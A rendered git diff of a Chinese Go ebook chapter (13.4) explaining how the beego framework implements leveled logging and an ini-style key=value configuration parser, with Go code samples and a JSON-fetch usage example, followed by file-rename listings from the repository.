comment map[int][]string // id: []{comment, key...}; id 1 is for main comment.
|
||||
data map[string]string // key: value
|
||||
offset map[string]int64 // key: offset; for editing.
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
定义了解析文件的函数,解析文件的过程是打开文件,然后一行一行的读取,解析注释、空行和key=value数据:
|
||||
|
||||
// ParseFile creates a new Config and parses the file configuration from the
|
||||
// named file.
|
||||
func LoadConfig(name string) (*Config, error) {
|
||||
file, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cfg := &Config{
|
||||
file.Name(),
|
||||
make(map[int][]string),
|
||||
make(map[string]string),
|
||||
make(map[string]int64),
|
||||
sync.RWMutex{},
|
||||
}
|
||||
cfg.Lock()
|
||||
defer cfg.Unlock()
|
||||
defer file.Close()
|
||||
|
||||
var comment bytes.Buffer
|
||||
buf := bufio.NewReader(file)
|
||||
|
||||
for nComment, off := 0, int64(1); ; {
|
||||
line, _, err := buf.ReadLine()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if bytes.Equal(line, bEmpty) {
|
||||
continue
|
||||
}
|
||||
|
||||
off += int64(len(line))
|
||||
|
||||
if bytes.HasPrefix(line, bComment) {
|
||||
line = bytes.TrimLeft(line, "#")
|
||||
line = bytes.TrimLeftFunc(line, unicode.IsSpace)
|
||||
comment.Write(line)
|
||||
comment.WriteByte('\n')
|
||||
continue
|
||||
}
|
||||
if comment.Len() != 0 {
|
||||
cfg.comment[nComment] = []string{comment.String()}
|
||||
comment.Reset()
|
||||
nComment++
|
||||
}
|
||||
|
||||
val := bytes.SplitN(line, bEqual, 2)
|
||||
if bytes.HasPrefix(val[1], bDQuote) {
|
||||
val[1] = bytes.Trim(val[1], `"`)
|
||||
}
|
||||
|
||||
key := strings.TrimSpace(string(val[0]))
|
||||
cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
|
||||
cfg.data[key] = strings.TrimSpace(string(val[1]))
|
||||
cfg.offset[key] = off
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
下面实现了一些读取配置文件的函数,返回的值确定为bool、int、float64或string:
|
||||
|
||||
// Bool returns the boolean value for a given key.
|
||||
func (c *Config) Bool(key string) (bool, error) {
|
||||
return strconv.ParseBool(c.data[key])
|
||||
}
|
||||
|
||||
// Int returns the integer value for a given key.
|
||||
func (c *Config) Int(key string) (int, error) {
|
||||
return strconv.Atoi(c.data[key])
|
||||
}
|
||||
|
||||
// Float returns the float value for a given key.
|
||||
func (c *Config) Float(key string) (float64, error) {
|
||||
return strconv.ParseFloat(c.data[key], 64)
|
||||
}
|
||||
|
||||
// String returns the string value for a given key.
|
||||
func (c *Config) String(key string) string {
|
||||
return c.data[key]
|
||||
}
|
||||
|
||||
## 应用指南
|
||||
下面这个函数是我一个应用中的例子,用来获取远程url地址的json数据,实现如下:
|
||||
|
||||
func GetJson() {
|
||||
resp, err := http.Get(beego.AppConfig.String("url"))
|
||||
if err != nil {
|
||||
beego.Critical("http get info error")
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
err = json.Unmarshal(body, &AllInfo)
|
||||
if err != nil {
|
||||
beego.Critical("error:", err)
|
||||
}
|
||||
}
|
||||
|
||||
函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf):
|
||||
|
||||
appname = hs
|
||||
url ="http://www.api.com/api.html"
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [controller设计](<13.3.md>)
|
||||
# 13.4 日志和配置设计
|
||||
|
||||
## 日志和配置的重要性
|
||||
前面已经介绍过日志在我们程序开发中起着很重要的作用,通过日志我们可以记录调试我们的信息,当初介绍过一个日志系统seelog,根据不同的level输出不同的日志,这个对于程序开发和程序部署来说至关重要。我们可以在程序开发中设置level低一点,部署的时候把level设置高,这样我们开发中的调试信息可以屏蔽掉。
|
||||
|
||||
配置模块对于应用部署牵涉到服务器不同的一些配置信息非常有用,例如一些数据库配置信息、监听端口、监听地址等都是可以通过配置文件来配置,这样我们的应用程序就具有很强的灵活性,可以通过配置文件的配置部署在不同的机器上,可以连接不同的数据库之类的。
|
||||
|
||||
## beego的日志设计
|
||||
beego的日志设计部署思路来自于seelog,根据不同的level来记录日志,但是beego设计的日志系统比较轻量级,采用了系统的log.Logger接口,默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出,详细的实现如下所示:
|
||||
|
||||
|
||||
// Log levels to control the logging output.
|
||||
const (
|
||||
LevelTrace = iota
|
||||
LevelDebug
|
||||
LevelInfo
|
||||
LevelWarning
|
||||
LevelError
|
||||
LevelCritical
|
||||
)
|
||||
|
||||
// logLevel controls the global log level used by the logger.
|
||||
var level = LevelTrace
|
||||
|
||||
// LogLevel returns the global log level and can be used in
|
||||
// own implementations of the logger interface.
|
||||
func Level() int {
|
||||
return level
|
||||
}
|
||||
|
||||
// SetLogLevel sets the global log level used by the simple
|
||||
// logger.
|
||||
func SetLevel(l int) {
|
||||
level = l
|
||||
}
|
||||
|
||||
上面这一段实现了日志系统的日志分级,默认的级别是Trace,用户通过SetLevel可以设置不同的分级。
|
||||
|
||||
// logger references the used application logger.
|
||||
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)
|
||||
|
||||
// SetLogger sets a new logger.
|
||||
func SetLogger(l *log.Logger) {
|
||||
BeeLogger = l
|
||||
}
|
||||
|
||||
// Trace logs a message at trace level.
|
||||
func Trace(v ...interface{}) {
|
||||
if level <= LevelTrace {
|
||||
BeeLogger.Printf("[T] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Debug logs a message at debug level.
|
||||
func Debug(v ...interface{}) {
|
||||
if level <= LevelDebug {
|
||||
BeeLogger.Printf("[D] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Info logs a message at info level.
|
||||
func Info(v ...interface{}) {
|
||||
if level <= LevelInfo {
|
||||
BeeLogger.Printf("[I] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Warning logs a message at warning level.
|
||||
func Warn(v ...interface{}) {
|
||||
if level <= LevelWarning {
|
||||
BeeLogger.Printf("[W] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Error logs a message at error level.
|
||||
func Error(v ...interface{}) {
|
||||
if level <= LevelError {
|
||||
BeeLogger.Printf("[E] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
// Critical logs a message at critical level.
|
||||
func Critical(v ...interface{}) {
|
||||
if level <= LevelCritical {
|
||||
BeeLogger.Printf("[C] %v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
上面这一段代码默认初始化了一个BeeLogger对象,默认输出到os.Stdout,用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数:
|
||||
|
||||
- Trace(一般的记录信息,举例如下:)
|
||||
- "Entered parse function validation block"
|
||||
- "Validation: entered second 'if'"
|
||||
- "Dictionary 'Dict' is empty. Using default value"
|
||||
- Debug(调试信息,举例如下:)
|
||||
- "Web page requested: http://somesite.com Params='...'"
|
||||
- "Response generated. Response size: 10000. Sending."
|
||||
- "New file received. Type:PNG Size:20000"
|
||||
- Info(打印信息,举例如下:)
|
||||
- "Web server restarted"
|
||||
- "Hourly statistics: Requested pages: 12345 Errors: 123 ..."
|
||||
- "Service paused. Waiting for 'resume' call"
|
||||
- Warn(警告信息,举例如下:)
|
||||
- "Cache corrupted for file='test.file'. Reading from back-end"
|
||||
- "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
|
||||
- "No response from statistics server. Statistics not sent"
|
||||
- Error(错误信息,举例如下:)
|
||||
- "Internal error. Cannot process request #12345 Error:...."
|
||||
- "Cannot perform login: credentials DB not responding"
|
||||
- Critical(致命错误,举例如下:)
|
||||
- "Critical panic received: .... Shutting down"
|
||||
- "Fatal error: ... App is shutting down to prevent data corruption or loss"
|
||||
|
||||
可以看到每个函数里面都有对level的判断,所以如果我们在部署的时候设置了level=LevelWarning,那么Trace、Debug、Info这三个函数都不会有任何的输出,以此类推。
|
||||
|
||||
## beego的配置设计
|
||||
配置信息的解析,beego实现了一个key=value的配置文件读取,类似ini配置文件的格式,就是一个文件解析的过程,然后把解析的数据保存到map中,最后在调用的时候通过几个string、int之类的函数调用返回相应的值,具体的实现请看下面:
|
||||
|
||||
首先定义了一些ini配置文件的一些全局性常量 :
|
||||
|
||||
var (
|
||||
bComment = []byte{'#'}
|
||||
bEmpty = []byte{}
|
||||
bEqual = []byte{'='}
|
||||
bDQuote = []byte{'"'}
|
||||
)
|
||||
|
||||
定义了配置文件的格式:
|
||||
|
||||
// A Config represents the configuration.
|
||||
type Config struct {
|
||||
filename string
|
||||
comment map[int][]string // id: []{comment, key...}; id 1 is for main comment.
|
||||
data map[string]string // key: value
|
||||
offset map[string]int64 // key: offset; for editing.
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
定义了解析文件的函数,解析文件的过程是打开文件,然后一行一行的读取,解析注释、空行和key=value数据:
|
||||
|
||||
// ParseFile creates a new Config and parses the file configuration from the
|
||||
// named file.
|
||||
func LoadConfig(name string) (*Config, error) {
|
||||
file, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cfg := &Config{
|
||||
file.Name(),
|
||||
make(map[int][]string),
|
||||
make(map[string]string),
|
||||
make(map[string]int64),
|
||||
sync.RWMutex{},
|
||||
}
|
||||
cfg.Lock()
|
||||
defer cfg.Unlock()
|
||||
defer file.Close()
|
||||
|
||||
var comment bytes.Buffer
|
||||
buf := bufio.NewReader(file)
|
||||
|
||||
for nComment, off := 0, int64(1); ; {
|
||||
line, _, err := buf.ReadLine()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if bytes.Equal(line, bEmpty) {
|
||||
continue
|
||||
}
|
||||
|
||||
off += int64(len(line))
|
||||
|
||||
if bytes.HasPrefix(line, bComment) {
|
||||
line = bytes.TrimLeft(line, "#")
|
||||
line = bytes.TrimLeftFunc(line, unicode.IsSpace)
|
||||
comment.Write(line)
|
||||
comment.WriteByte('\n')
|
||||
continue
|
||||
}
|
||||
if comment.Len() != 0 {
|
||||
cfg.comment[nComment] = []string{comment.String()}
|
||||
comment.Reset()
|
||||
nComment++
|
||||
}
|
||||
|
||||
val := bytes.SplitN(line, bEqual, 2)
|
||||
if bytes.HasPrefix(val[1], bDQuote) {
|
||||
val[1] = bytes.Trim(val[1], `"`)
|
||||
}
|
||||
|
||||
key := strings.TrimSpace(string(val[0]))
|
||||
cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
|
||||
cfg.data[key] = strings.TrimSpace(string(val[1]))
|
||||
cfg.offset[key] = off
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
下面实现了一些读取配置文件的函数,返回的值确定为bool、int、float64或string:
|
||||
|
||||
// Bool returns the boolean value for a given key.
|
||||
func (c *Config) Bool(key string) (bool, error) {
|
||||
return strconv.ParseBool(c.data[key])
|
||||
}
|
||||
|
||||
// Int returns the integer value for a given key.
|
||||
func (c *Config) Int(key string) (int, error) {
|
||||
return strconv.Atoi(c.data[key])
|
||||
}
|
||||
|
||||
// Float returns the float value for a given key.
|
||||
func (c *Config) Float(key string) (float64, error) {
|
||||
return strconv.ParseFloat(c.data[key], 64)
|
||||
}
|
||||
|
||||
// String returns the string value for a given key.
|
||||
func (c *Config) String(key string) string {
|
||||
return c.data[key]
|
||||
}
|
||||
|
||||
## 应用指南
|
||||
下面这个函数是我一个应用中的例子,用来获取远程url地址的json数据,实现如下:
|
||||
|
||||
func GetJson() {
|
||||
resp, err := http.Get(beego.AppConfig.String("url"))
|
||||
if err != nil {
|
||||
beego.Critical("http get info error")
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
err = json.Unmarshal(body, &AllInfo)
|
||||
if err != nil {
|
||||
beego.Critical("error:", err)
|
||||
}
|
||||
}
|
||||
|
||||
函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf):
|
||||
|
||||
appname = hs
|
||||
url ="http://www.api.com/api.html"
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [controller设计](<13.3.md>)
|
||||
* 下一节: [实现博客的增删改](<13.5.md>)
|
||||
0
13.5.md → ebook/13.5.md
Executable file → Normal file
0
13.5.md → ebook/13.5.md
Executable file → Normal file
0
13.6.md → ebook/13.6.md
Executable file → Normal file
0
13.6.md → ebook/13.6.md
Executable file → Normal file
0
14.0.md → ebook/14.0.md
Executable file → Normal file
0
14.0.md → ebook/14.0.md
Executable file → Normal file
0
14.1.md → ebook/14.1.md
Executable file → Normal file
0
14.1.md → ebook/14.1.md
Executable file → Normal file
0
14.2.md → ebook/14.2.md
Executable file → Normal file
0
14.2.md → ebook/14.2.md
Executable file → Normal file
0
14.3.md → ebook/14.3.md
Executable file → Normal file
0
14.3.md → ebook/14.3.md
Executable file → Normal file
0
14.4.md → ebook/14.4.md
Executable file → Normal file
0
14.4.md → ebook/14.4.md
Executable file → Normal file
0
14.5.md → ebook/14.5.md
Executable file → Normal file
0
14.5.md → ebook/14.5.md
Executable file → Normal file
0
14.6.md → ebook/14.6.md
Executable file → Normal file
0
14.6.md → ebook/14.6.md
Executable file → Normal file
0
14.7.md → ebook/14.7.md
Executable file → Normal file
0
14.7.md → ebook/14.7.md
Executable file → Normal file
|
Before Width: | Height: | Size: 11 KiB After Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 11 KiB After Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 84 KiB After Width: | Height: | Size: 84 KiB |
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user